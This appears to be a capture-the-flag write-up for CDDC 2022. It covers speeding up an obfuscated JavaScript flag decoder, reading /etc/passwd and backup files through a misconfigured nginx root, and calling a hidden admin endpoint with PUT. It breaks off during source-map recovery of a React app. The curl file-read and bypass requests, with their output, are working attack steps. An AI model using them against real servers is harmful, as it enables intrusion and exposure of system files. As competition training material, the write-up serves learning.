"TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk="];
  _0x5d00 = function () {
    return _0xe6d298;
  };
  return _0x5d00();
}
function _0x1a3a(_0x558caf, _0x498ad9) {
  var _0x5d005c = _0x5d00();
  return _0x1a3a = function (_0x1a3a7e, _0x46c4d8) {
    _0x1a3a7e = _0x1a3a7e - 225;
    var _0x37da4c = _0x5d005c[_0x1a3a7e];
    return _0x37da4c;
  }, _0x1a3a(_0x558caf, _0x498ad9);
}
function fc(_0x2f5e4d) {
  var _0x4ea9f2 = _0x1a3a;
  _0x2f5e4d = _0x4ea9f2(242) + _0x2f5e4d + "\n", document[_0x4ea9f2(227)](_0x4ea9f2(247))[0].innerHTML = _0x2f5e4d;
}
var a = "Array", b = _0x1201f9(237), c = _0x1201f9(246), d = _0x1201f9(236), e = _0x1201f9(234), f = "", g = "", h = _0x1201f9(243), i = 5e3, j = 0, k = 0, l = 0, m = 3, n = 2, record = setInterval(function () {
  g = "", j = l % 10;
  if (j &amp;lt; 5) for (k = 0; k &amp;lt; j; k++) {
    g = g + ". ";
  } else for (k = 0; k &amp;lt; 10 - j; k++) {
    g = g + ". ";
  }
  fc(g), l++;
}, 1e3);
d = atob(d);
var decode = setInterval(function () {
  var _0x17ca40 = _0x1201f9;
  i--, d = (i % 500 == 0 &amp;amp;&amp;amp; (d = atob(d)), d = fa(d, i), d), i == 0 &amp;amp;&amp;amp; (clearTimeout(record), clearTimeout(decode), fc(_0x17ca40(230) + d + _0x17ca40(233)));
}, 6e4);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modified the code to&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduce the decode timeout&lt;/li&gt;
&lt;li&gt;Remove fg(g) function call from the record timeout
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cp js_more.html js_more.mod.html

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nano js_more.mod.html

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.mod.html
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset='utf-8'&amp;gt;
    &amp;lt;title&amp;gt;Execute ME?&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class="main"&amp;gt;
        The Flag is&amp;lt;br /&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;script&amp;gt;
        var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4&amp;lt;_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is&amp;lt;br&amp;gt;','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','&amp;lt;div\x20class=\x27flag\x27&amp;gt;','970936XpWFIH','424KAmkcF','&amp;lt;/div&amp;gt;','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&amp;amp;&amp;amp;(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j&amp;lt;0x5)for(k=0x0;k&amp;lt;j;k++){g=g+'.\x20';}else for(k=0x0;k&amp;lt;0xa-j;k++){g=g+'.\x20';}l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&amp;amp;&amp;amp;(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0x01);
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that just wait for less than a min for the flag to show up&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eTfaiOkc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sdv1pgq2l6njjz2q7cxt.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eTfaiOkc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sdv1pgq2l6njjz2q7cxt.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CDDC22{Th1s\_is\_FLAG\_4ft3r\_tHe\_c0mpeT1tI0n;-&amp;gt;}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Web - Test Page
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Test Site
&lt;/h2&gt;

&lt;p&gt;This challenge mainly asks you to find the vulnerability in the nginx server.&lt;/p&gt;

&lt;p&gt;Out on a whim, I ran nikto, a web vulnerability scanner, on the webpage. This got me some interesting results, most notably&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can access /etc/passwd&lt;/li&gt;
&lt;li&gt;There is a /test directory, which lists the contents inside. However, the .bak files are unaccessible
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ nikto -h http://54.255.223.3:7777/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          54.255.223.3
+ Target Hostname:    54.255.223.3
+ Target Port:        7777
+ Start Time:         2022-06-22 09:06:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.21.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://54.255.223.3:7777/index.html
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. The value is "172.18.0.3".
+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3092: /etc/passwd: An '/etc/passwd' file is available via the web site.
+ 7917 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2022-06-22 09:15:51 (GMT0) (591 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(kali㉿localhost)-[~]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Test to access &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
nginx:x:101:101:nginx user,,,:/nonexistent:/bin/false

┌──(kali㉿localhost)-[~]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Accessing the &lt;code&gt;/test&lt;/code&gt; endpoint&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Index of /test/&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Index of /test/&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;a href="../"&amp;gt;../&amp;lt;/a&amp;gt;
&amp;lt;a href="files/"&amp;gt;files/&amp;lt;/a&amp;gt;                                             20-May-2022 02:40                   -
&amp;lt;a href="static/"&amp;gt;static/&amp;lt;/a&amp;gt;                                            20-May-2022 02:40                   -
&amp;lt;/pre&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Index of /test/files/&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Index of /test/files/&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;a href="../"&amp;gt;../&amp;lt;/a&amp;gt;
&amp;lt;a href="1.bak"&amp;gt;1.bak&amp;lt;/a&amp;gt;                                              19-May-2022 12:33                 523
&amp;lt;a href="2.bak"&amp;gt;2.bak&amp;lt;/a&amp;gt;                                              19-May-2022 12:33                 512
&amp;lt;/pre&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/1.bak
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;403 Forbidden&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.21.1&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/2.bak
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;403 Forbidden&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.21.1&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

┌──(kali㉿localhost)-[~]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since you could access &lt;code&gt;/etc/passwd&lt;/code&gt;, I was thinking if you could access files from the root directory (provided the nginx user can access it). I tried accessing the nginx configuration file at /etc/nginx/nginx.conf (Common location)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/nginx/nginx.conf
user nginx;

events {
  worker_connections 512;
}

http {
  server {
    listen 7777;

    location / {
      root /;
      try_files /usr/share/nginx/html/$uri $uri @go;
    }

    location @go {
      return 302 /index.html;
    }

    location /test {
      autoindex on;
      alias /usr/share/nginx/html/test/;

      location /test/static {
        alias /usr/share/nginx/html/test/static/;
      }

      location /test/files/ {
        location ~* .(bak)$ {
          return 403;
        }
      }
    }

    location /h1dd3n-3ndp01nt {
      rewrite /h1dd3n-3ndp01nt/(.*) /$1 break;
      proxy_pass http://internal-server:8888;
    }
  }
}
┌──(kali㉿localhost)-[~]
└─$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This nginx config file shows a few things&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The root of the web server is / of the file system. This confirms that you can read all files from root provided the nginx user has the proper permissions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/test&lt;/code&gt; endpoint on the webserver is &lt;code&gt;/usr/share/nginx/html/test/&lt;/code&gt; on the file system

&lt;ul&gt;
&lt;li&gt;The .bak files is only blocked through the &lt;code&gt;/test/files/&lt;/code&gt; endpoint&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;There is a &lt;code&gt;/h1dd3n-3ndp01nt&lt;/code&gt; which directs request to an internal server &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To access the .bak files, instead of using the /test/ endpoint, we could traverse to the files from root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/1.bak
user nginx;

events {
  worker_connections 512;
}

http {
  server {
    listen 7777;

    location / {
      root /;
      try_files /usr/share/nginx/html/$uri $uri @go;
    }

    location @go {
      return 302 /index.html;
    }

    location /test {
      autoindex on;
      alias /usr/share/nginx/html/test/;

      location /test/static {
        alias /usr/share/nginx/html/test/static/;
      }

      location /test/files/ {
        location ~* .(bak)$ {
          return 403;
        }
      }
    }
...
...
...
┌──(kali㉿localhost)-[~]
└─$ 
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/2.bak
package main

import (
        "fmt"
        "log"
        "net/http"
        "os"

        "github.com/gorilla/mux"
)

func handlePing(w http.ResponseWriter, r *http.Request) {
        fmt.Fprint(w, "pong")
}

func handleAdmin(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Flag", os.Getenv("FLAG"))
}

func main() {
        r := mux.NewRouter()
        r.HandleFunc("/ping", handlePing).Methods(http.MethodGet)
        r.HandleFunc("/admin", handleAdmin).Methods(http.MethodPut)

        if err := http.ListenAndServe(":8888", r); err != nil {
                log.Fatalln(err)
        }
}

┌──(kali㉿localhost)-[~]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first .bak file looks like a backup nginx configuration file. The second looks like the code to the hidden endpoint, where we can access the flag by giving a PUT endpoint to the /admin endpoint&lt;/p&gt;

&lt;p&gt;I then tried to access the endpoint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/h1dd3n-3ndp01nt/admin -X PUT  -v
*   Trying 54.255.223.3:7777...
* Connected to 54.255.223.3 (54.255.223.3) port 7777 (#0)
&amp;gt; PUT /h1dd3n-3ndp01nt/admin HTTP/1.1
&amp;gt; Host: 54.255.223.3:7777
&amp;gt; User-Agent: curl/7.74.0
&amp;gt; Accept: */*
&amp;gt;
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Server: nginx/1.21.1
&amp;lt; Date: Wed, 22 Jun 2022 10:54:13 GMT
&amp;lt; Content-Length: 0
&amp;lt; Connection: keep-alive
&amp;lt; Flag: CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}
&amp;lt;
* Connection #0 to host 54.255.223.3 left intact

┌──(kali㉿localhost)-[~]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Ring 3
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Web - SPA
&lt;/h2&gt;

&lt;p&gt;This is a challenge asking you to login to the administrator account.&lt;/p&gt;

&lt;p&gt;In web development terms, SPA stands for Single Page Application. This means that the entire webpage &amp;amp; code is loaded all at once. The code is generally bundled in a single file or a similar method using something like webpack. &lt;/p&gt;

&lt;p&gt;On loading the webapp, the icon for the webpage is React, suggesting that it uses React (A Javascript Framework mainly for Single Page Applications), and it is an SPA. The Web page then asks you to login. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_piFlx72--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/759t4uy63lfifgeglmay.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_piFlx72--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/759t4uy63lfifgeglmay.jpg" alt="Image description" width="880" height="1955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;My first thought was to Google on how to get the source code from SPAs. This lead me to &lt;a href="https://github.com/rarecoil/unwebpack-sourcemap"&gt;https://github.com/rarecoil/unwebpack-sourcemap&lt;/a&gt;, a tool to get the source code from SPAs bundled using webpack (like React Apps).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/
.git/                   README.md               unwebpack_sourcemap.py
.gitignore              example-react-ts-app/
LICENSE                 requirements.txt
┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ mkdir output

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ --detect "--detect "http://localhost:3000/" output^Coutput

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ ./unwebpack_sourcemap.py --detect "http://54.254.185.105:5959/#/login" output
Detecting sourcemaps in HTML at http://54.254.185.105:5959/#/login
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/bundle.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/0.chunk.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/main.chunk.js.map
Writing bootstrap...
Writing extends.js...
Writing index.js...
Writing index.js...
Writing xhr.js...
Writing axios.js...
Writing Cancel.js...
Writing CancelToken.js...
Writing isCancel.js...
Writing Axios.js...
Writing InterceptorManager.js...
Writing buildFullPath.js...
Writing createError.js...
Writing dispatchRequest.js...
Writing enhanceError.js...
Writing mergeConfig.js...
Writing settle.js...
Writing transformData.js...
Writing defaults.js...
Writing bind.js...
Writing buildURL.js...
Writing combineURLs.js...
Writing cookies.js...
Writing isAbsoluteURL.js...
Writing isAxiosError.js...
Writing isURLSameOrigin.js...
Writing normalizeHeaderName.js...
Writing parseHeaders.js...
Writing spread.js...
Writing utils.js...
Writing arrayWithHoles.js...
Writing assertThisInitialized.js...
Writing classCallCheck.js...
Writing createClass.js...
Writing defineProperty.js...
Writing getPrototypeOf.js...
Writing inherits.js...
Writing objectWithoutProperties.js...
Writing objectWithoutPropertiesLoose.js...
Writing possibleConstructorReturn.js...
Writing setPrototypeOf.js...
Writing typeof.js...
Writing iterableToArrayLimit.js...
Writing nonIterableRest.js...
Writing slicedToArray.js...
Writing index.js...
Writing templates.js...
Writing conversions.js...
Writing index.js...
Writing route.js...
Writing index.js...
Writing css-base.js...
Writing index.js...
Writing history.js...
Writing hoist-non-react-statics.cjs.js...
Writing inherits_browser.js...
Writing browser.js...
Writing index.js...
Writing json3.js...
Writing index.js...
Writing punycode.js...
Writing index.js...
Writing index.js...
Writing browser.js...
Writing checkPropTypes.js...
Writing factoryWithTypeCheckers.js...
Writing index.js...
Writing ReactPropTypesSecret.js...
Writing has.js...
Writing decode.js...
Writing encode.js...
Writing index.js...
Writing index.js...
Writing formatWebpackMessages.js...
Writing launchEditorEndpoint.js...
Writing index.js...
Writing index.js...
Writing webpackHotDevClient.js...
Writing react-dom.development.js...
Writing index.js...
Writing index.js...
Writing react-is.development.js...
Writing index.js...
Writing BrowserRouter.js...
Writing HashRouter.js...
Writing Link.js...
Writing MemoryRouter.js...
Writing NavLink.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing index.js...
Writing matchPath.js...
Writing withRouter.js...
Writing MemoryRouter.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing matchPath.js...
Writing withRouter.js...
Writing react.development.js...
Writing index.js...
Writing index.js...
Writing resolve-pathname.js...
Writing scheduler-tracing.development.js...
Writing scheduler.development.js...
Writing index.js...
Writing tracing.js...
Writing entry.js...
Writing close.js...
Writing emitter.js...
Writing event.js...
Writing eventtarget.js...
Writing trans-message.js...
Writing facade.js...
Writing iframe-bootstrap.js...
Writing info-ajax.js...
Writing info-iframe-receiver.js...
Writing info-iframe.js...
Writing info-receiver.js...
Writing location.js...
Writing main.js...
Writing shims.js...
Writing transport-list.js...
Writing abstract-xhr.js...
Writing eventsource.js...
Writing websocket.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing iframe.js...
Writing jsonp-polling.js...
Writing ajax-based.js...
Writing buffered-sender.js...
Writing iframe-wrap.js...
Writing polling.js...
Writing sender-receiver.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing jsonp.js...
Writing xhr.js...
Writing jsonp.js...
Writing xdr.js...
Writing xhr-cors.js...
Writing xhr-fake.js...
Writing xhr-local.js...
Writing websocket.js...
Writing xdr-polling.js...
Writing xdr-streaming.js...
